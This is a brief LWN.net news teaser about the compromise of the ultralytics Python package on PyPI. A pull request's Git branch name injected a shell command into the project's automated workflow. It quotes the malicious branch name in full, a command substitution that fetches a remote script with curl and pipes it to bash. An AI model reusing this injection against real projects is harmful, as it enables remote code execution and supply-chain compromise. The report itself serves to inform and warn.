Abusing Git branch names to compromise a PyPI package [LWN.net]
A compromised release was uploaded to PyPI after a project automatically processed a pull request with a flawed script.
The GitHub account
"OpenIM Robot"
(which appears to be controlled by
Xinwei Xiong) opened
a pull request for the
ultralytics
Python package. The pull request included a suspicious Git branch name:
openimbot:$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545/file.sh}${IFS}|${IFS}bash)
Unfortunately, ultralytics uses the
pull_...
Read more at lwn.net